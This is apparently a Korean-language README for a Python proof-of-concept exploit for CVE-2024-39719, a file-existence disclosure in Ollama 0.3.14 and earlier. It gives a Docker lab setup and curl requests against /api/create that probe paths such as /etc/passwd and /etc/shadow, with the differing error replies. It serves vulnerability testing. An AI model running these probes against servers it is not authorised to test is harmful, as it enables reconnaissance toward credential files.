
CVE-2024-39719를 위한 Python 익스플로잇 스크립트, Ollama의 파일 존재 여부 공개 취약점입니다. 서버 파일 경로를 탐지하기 위해 API 엔드포인트를 테스트하여 취약점 분석 및 침투 테스트에 도움을 줍니다.
CVE-2024-39719는 Ollama 버전 0.3.14 및 이전 버전에 영향을 미치는 파일 존재 노출 취약점입니다. 이 취약점으로 인해 공격자는 API 엔드포인트를 통해 서버상의 특정 파일 존재 여부를 탐지할 수 있으며, 잠재적으로 정보 유출로 이어질 수 있습니다.
공개일: 2024년 10월 31일
취약점은 Ollama의 /api/create 엔드포인트에 존재합니다. 공격자가 경로 매개변수를 사용하여 CreateModel API를 호출하면, 서버는 해당 경로의 존재 여부에 따라 서로 다른 오류 메시지를 반환합니다. 이러한 동작으로 인해 공격자는 오류 메시지를 분석하여 서버에 특정 파일이나 디렉토리가 존재하는지 확인할 수 있습니다.
핵심 문제는 사용자 입력을 처리할 때 시스템이 경로 존재 정보를 적절히 숨기지 않고 파일 시스템 오류를 클라이언트에 직접 노출한다는 점입니다.
이 취약점은 Ollama 버전 0.3.14까지의 모든 버전에 영향을 미칩니다.
파일 존재 노출 취약점은 처음에는 덜 심각해 보일 수 있지만, 다음과 같은 영향을 미칠 수 있습니다:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/에 접속하여 Ollama 0.3.14가 실행 중인지 확인할 수 있습니다.존재하지 않는 파일에 접근을 시도하기 위해 curl을 사용하여 요청을 보냅니다:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
응답:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
/etc/passwd와 같은 존재하는 파일을 테스트합니다:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
응답:
{"error":"no FROM line for the model was specified"}
이러한 서로 다른 오류 메시지를 분석함으로써 공격자는 대상 경로의 존재 여부를 확인하고 서버의 파일 구조에 대한 정보를 얻을 수 있습니다. 참고로 서버가 반환하는 정보는 버전에 따라 다를 수 있습니다.
Ollama는 최신 버전에서 이 취약점을 수정했습니다. 수정 사항은 다음과 같습니다:
/api/create 엔드포인트에 대한 비정상적인 접근 패턴 탐지에 중점을 둡니다.제공된 Python 스크립트를 사용하여 Ollama 서버가 CVE-2024-39719에 취약한지 테스트할 수 있습니다.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: Ollama 서버의 URL (필수)-f, --file: 존재 여부를 확인할 파일 (기본값: "/etc/passwd")# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434
# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
이 스크립트는 교육 목적과 합법적인 보안 테스트를 위해서만 제공됩니다. 취약점을 테스트하기 전에 항상 적절한 권한이 있는지 확인하십시오. 무단 테스트는 법률 및 규정을 위반할 수 있습니다.